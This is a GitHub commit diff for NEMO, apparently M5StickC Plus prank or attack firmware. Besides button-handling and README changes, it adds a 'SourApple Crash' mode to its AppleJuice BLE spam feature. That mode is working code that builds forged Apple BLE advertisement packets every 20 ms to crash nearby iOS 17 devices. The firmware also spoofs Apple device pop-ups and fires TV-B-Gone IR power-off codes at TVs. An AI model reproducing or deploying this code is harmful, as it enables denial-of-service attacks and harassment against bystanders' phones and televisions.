Merge branch 'main' into m5stickc

This commit is contained in:
Noah Axon 2023-10-07 23:09:14 -06:00 committed by GitHub
commit 1a731b4f90
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
3 changed files with 147 additions and 85 deletions

View File

@ -13,6 +13,14 @@ NEMO is named after the small, clever and stubborn fish in Finding Nemo. This pr
* EEPROM-backed Settings for rotation, brightness and, automatic dimming * EEPROM-backed Settings for rotation, brightness and, automatic dimming
* Battery level and credits in settings menu * Battery level and credits in settings menu
## User Interface
* A quick tap of the power button (closest to the USB port) will bring up the main menu from anywhere.
* Long pressing the power button for 6 seconds turns off the unit.
* In Function modes, the side button stops or pauses the process and brings up a menu.
* In Menu mode, the side button scrolls the cursor to the next option in the menu.
* In Function modes, the front M5 button wakes up the dim screen.
* In Menu mode, the front M5 button activates the selected menu item next to the cursor.
## Install from M5Burner ## Install from M5Burner
This is the absolute easiest way to get NEMO This is the absolute easiest way to get NEMO
* [M5Stick C Plus Quick Start](https://docs.m5stack.com/en/quick_start/m5stickc_plus/uiflow) has links to the M5Burner app for Linux, MacOS and Windows. This is the official tool to install UIFlow and other official firmware. I provide up-to-date binaries for NEMO there. * [M5Stick C Plus Quick Start](https://docs.m5stack.com/en/quick_start/m5stickc_plus/uiflow) has links to the M5Burner app for Linux, MacOS and Windows. This is the official tool to install UIFlow and other official firmware. I provide up-to-date binaries for NEMO there.

View File

@ -36,7 +36,9 @@ String timeStamp;
int cursor = 0; int cursor = 0;
int rotation = 1; int rotation = 1;
int brightness = 100; int brightness = 100;
bool rstOverride = false; int ajDelay = 1000;
bool rstOverride = false; // Reset Button Override. Set to true when navigating menus.
bool sourApple = false; // Internal flag to place AppleJuice into SourApple iOS17 Exploit Mode
#define EEPROM_SIZE 4 #define EEPROM_SIZE 4
struct MENU { struct MENU {
@ -99,6 +101,16 @@ void screen_dim_proc() {
} }
} }
// Tap the power button from pretty much anywhere to get to the main menu
void check_axp_press() {
if (M5.Axp.GetBtnPress()) {
isSwitching = true;
rstOverride = false;
current_proc = 1;
delay(100);
}
}
/// MAIN MENU /// /// MAIN MENU ///
MENU mmenu[] = { MENU mmenu[] = {
{ "clock", 0}, { "clock", 0},
@ -426,6 +438,81 @@ void tvbgmenu_loop() {
} }
} }
void sendAllCodes()
{
bool endingEarly = false; //will be set to true if the user presses the button during code-sending
if (region == NA) {
num_codes = num_NAcodes;
} else {
num_codes = num_EUcodes;
}
for (i = 0 ; i < num_codes; i++)
{
if (region == NA) {
powerCode = NApowerCodes[i];
}
else {
powerCode = EUpowerCodes[i];
}
const uint8_t freq = powerCode->timer_val;
const uint8_t numpairs = powerCode->numpairs;
M5.Lcd.fillScreen(BLACK);
M5.Lcd.setTextSize(4);
M5.Lcd.setCursor(5, 1);
M5.Lcd.println("TV-B-Gone");
M5.Lcd.setTextSize(2);
M5.Lcd.println("Front Key: Go/Pause");
const uint8_t bitcompression = powerCode->bitcompression;
code_ptr = 0;
for (uint8_t k = 0; k < numpairs; k++) {
uint16_t ti;
ti = (read_bits(bitcompression)) * 2;
offtime = powerCode->times[ti]; // read word 1 - ontime
ontime = powerCode->times[ti + 1]; // read word 2 - offtime
M5.Lcd.setTextSize(1);
M5.Lcd.printf("rti = %d Pair = %d, %d\n", ti >> 1, ontime, offtime);
rawData[k * 2] = offtime * 10;
rawData[(k * 2) + 1] = ontime * 10;
yield();
}
irsend.sendRaw(rawData, (numpairs * 2) , freq);
// Hack: Set IRLED high to turn it off after each burst. Otherwise it stays on (active low)
digitalWrite(IRLED, HIGH);
yield();
bitsleft_r = 0;
delay_ten_us(20500);
if (M5.Axp.GetBtnPress()){
// duplicate code here, sadly, since this is a blocking loop
endingEarly = true;
current_proc = 1;
isSwitching = true;
rstOverride = false;
break;
}
if (digitalRead(TRIGGER) == BUTTON_PRESSED){
while (digitalRead(TRIGGER) == BUTTON_PRESSED) {
yield();
}
endingEarly = true;
quickflashLEDx(4);
break;
}
}
if (endingEarly == false)
{
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
quickflashLEDx(8);
}
M5.Lcd.fillScreen(BLACK);
M5.Lcd.setTextSize(4);
M5.Lcd.setCursor(5, 1);
M5.Lcd.println("TV-B-Gone");
M5.Lcd.setTextSize(2);
M5.Lcd.println("Front Key: Go/Pause");
M5.Lcd.println("Side Key: Exit");
}
/// CLOCK /// /// CLOCK ///
void clock_setup() { void clock_setup() {
@ -516,6 +603,8 @@ void timeset_loop() {
/// AppleJuice /// /// AppleJuice ///
MENU ajmenu[] = { MENU ajmenu[] = {
{ "AirPods", 1}, { "AirPods", 1},
{ "SourApple Crash", 29},
{ "Transfer Number", 27},
{ "AirPods Pro", 2}, { "AirPods Pro", 2},
{ "AirPods Max", 3}, { "AirPods Max", 3},
{ "AirPods G2", 4}, { "AirPods G2", 4},
@ -541,9 +630,8 @@ MENU ajmenu[] = {
{ "AppleTV Keyboard", 24}, { "AppleTV Keyboard", 24},
{ "AppleTV Network", 25}, { "AppleTV Network", 25},
{ "TV Color Balance", 26}, { "TV Color Balance", 26},
{ "Transfer Number", 27},
{ "Setup New Phone", 28}, { "Setup New Phone", 28},
{ "back", 29}, { "back", 30},
}; };
void aj_drawmenu() { void aj_drawmenu() {
@ -573,6 +661,7 @@ void aj_setup(){
M5.Lcd.println("AppleJuice"); M5.Lcd.println("AppleJuice");
delay(1000); delay(1000);
cursor = 0; cursor = 0;
sourApple = false;
rstOverride = true; rstOverride = true;
aj_drawmenu(); aj_drawmenu();
} }
@ -674,6 +763,9 @@ void aj_loop(){
data = SetupNewPhone; data = SetupNewPhone;
break; break;
case 29: case 29:
sourApple = true;
break;
case 30:
rstOverride = false; rstOverride = false;
isSwitching = true; isSwitching = true;
current_proc = 1; current_proc = 1;
@ -704,19 +796,49 @@ void aj_adv(){
// Isolating this to its own process lets us take advantage // Isolating this to its own process lets us take advantage
// of the background stuff easier (menu button, dimmer, etc) // of the background stuff easier (menu button, dimmer, etc)
rstOverride = true; rstOverride = true;
M5.Rtc.GetBm8563Time(); if (sourApple){
if (M5.Rtc.Second != advtime){ delay(20); // 20msec delay instead of ajDelay for SourApple attack
advtime = M5.Rtc.Second; advtime = 0; // bypass ajDelay counter
}
if (millis() > advtime + ajDelay){
advtime = millis();
pAdvertising->stop(); // This is placed here mostly for timing. pAdvertising->stop(); // This is placed here mostly for timing.
// It allows the BLE beacon to run through the loop. // It allows the BLE beacon to run through the loop.
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData(); BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
// sizeof() has to match the 31 and 23 byte char* however it doesn't seem if (sourApple){
// to work with bare integers, so sizeof() calls arbitrary elements of the // Some code borrowed from RapierXbox/ESP32-Sour-Apple
// correct length. Without this if block, only 31-byte messages worked. // Original credits for algorithm ECTO-1A & WillyJL
if (deviceType >= 18){ uint8_t packet[17];
oAdvertisementData.addData(std::string((char*)data, sizeof(AppleTVPair))); uint8_t size = 17;
uint8_t i = 0;
packet[i++] = size - 1; // Packet Length
packet[i++] = 0xFF; // Packet Type (Manufacturer Specific)
packet[i++] = 0x4C; // Packet Company ID (Apple, Inc.)
packet[i++] = 0x00; // ...
packet[i++] = 0x0F; // Type
packet[i++] = 0x05; // Length
packet[i++] = 0xC1; // Action Flags
const uint8_t types[] = { 0x27, 0x09, 0x02, 0x1e, 0x2b, 0x2d, 0x2f, 0x01, 0x06, 0x20, 0xc0 };
packet[i++] = types[rand() % sizeof(types)]; // Action Type
esp_fill_random(&packet[i], 3); // Authentication Tag
i += 3;
packet[i++] = 0x00; // ???
packet[i++] = 0x00; // ???
packet[i++] = 0x10; // Type ???
esp_fill_random(&packet[i], 3);
oAdvertisementData.addData(std::string((char *)packet, 17));
} else { } else {
oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods))); // TODO: use esp_fill_random to populate last 3 chars in data
// payload for other appleJuice spam types to randomize device ID?
//
// sizeof() has to match the 31 and 23 byte char* however it doesn't seem
// to work with bare integers, so sizeof() calls arbitrary elements of the
// correct length. Without this if block, only 31-byte messages worked.
if (deviceType >= 18){
oAdvertisementData.addData(std::string((char*)data, sizeof(AppleTVPair)));
} else {
oAdvertisementData.addData(std::string((char*)data, sizeof(Airpods)));
}
} }
pAdvertising->setAdvertisementData(oAdvertisementData); pAdvertising->setAdvertisementData(oAdvertisementData);
pAdvertising->start(); pAdvertising->start();
@ -726,7 +848,9 @@ void aj_adv(){
} }
if (digitalRead(M5_BUTTON_RST) == LOW) { if (digitalRead(M5_BUTTON_RST) == LOW) {
current_proc = 8; current_proc = 8;
sourApple = false;
pAdvertising->stop(); // Bug that keeps advertising in the background. Oops. pAdvertising->stop(); // Bug that keeps advertising in the background. Oops.
aj_drawmenu();
delay(250); delay(250);
} }
} }
@ -967,6 +1091,7 @@ void loop() {
// Background processes // Background processes
switcher_button_proc(); switcher_button_proc();
screen_dim_proc(); screen_dim_proc();
check_axp_press();
// Switcher // Switcher
if (isSwitching) { if (isSwitching) {

71
tvbg.h
View File

@ -83,77 +83,6 @@ uint16_t ontime, offtime;
uint8_t i, num_codes; uint8_t i, num_codes;
uint8_t region; uint8_t region;
void sendAllCodes()
{
bool endingEarly = false; //will be set to true if the user presses the button during code-sending
if (region == NA) {
num_codes = num_NAcodes;
} else {
num_codes = num_EUcodes;
}
for (i = 0 ; i < num_codes; i++)
{
if (region == NA) {
powerCode = NApowerCodes[i];
}
else {
powerCode = EUpowerCodes[i];
}
const uint8_t freq = powerCode->timer_val;
const uint8_t numpairs = powerCode->numpairs;
M5.Lcd.fillScreen(BLACK);
M5.Lcd.setTextSize(BIG_TEXT);
M5.Lcd.setCursor(5, 1);
M5.Lcd.println("TV-B-Gone");
M5.Lcd.setTextSize(SMALL_TEXT);
M5.Lcd.println("Front Key: Go/Pause");
const uint8_t bitcompression = powerCode->bitcompression;
code_ptr = 0;
for (uint8_t k = 0; k < numpairs; k++) {
uint16_t ti;
ti = (read_bits(bitcompression)) * 2;
offtime = powerCode->times[ti]; // read word 1 - ontime
ontime = powerCode->times[ti + 1]; // read word 2 - offtime
M5.Lcd.setTextSize(1);
M5.Lcd.printf("rti = %d Pair = %d, %d\n", ti >> 1, ontime, offtime);
rawData[k * 2] = offtime * 10;
rawData[(k * 2) + 1] = ontime * 10;
yield();
}
irsend.sendRaw(rawData, (numpairs * 2) , freq);
// Hack: Set IRLED high to turn it off after each burst. Otherwise it stays on (active low)
digitalWrite(IRLED, HIGH);
yield();
bitsleft_r = 0;
delay_ten_us(20500);
if (digitalRead(TRIGGER) == BUTTON_PRESSED)
{
while (digitalRead(TRIGGER) == BUTTON_PRESSED) {
yield();
}
endingEarly = true;
delay_ten_us(50000); //500ms delay
quickflashLEDx(4);
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
break; //exit the POWER code "for" loop
}
}
if (endingEarly == false)
{
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
quickflashLEDx(8);
}
M5.Lcd.fillScreen(BLACK);
M5.Lcd.setTextSize(BIG_TEXT);
M5.Lcd.setCursor(5, 1);
M5.Lcd.println("TV-B-Gone");
M5.Lcd.setTextSize(SMALL_TEXT);
M5.Lcd.println("Front Key: Go/Pause");
M5.Lcd.println("Side Key: Exit");
}
void delay_ten_us(uint16_t us) { void delay_ten_us(uint16_t us) {
uint8_t timer; uint8_t timer;
while (us != 0) { while (us != 0) {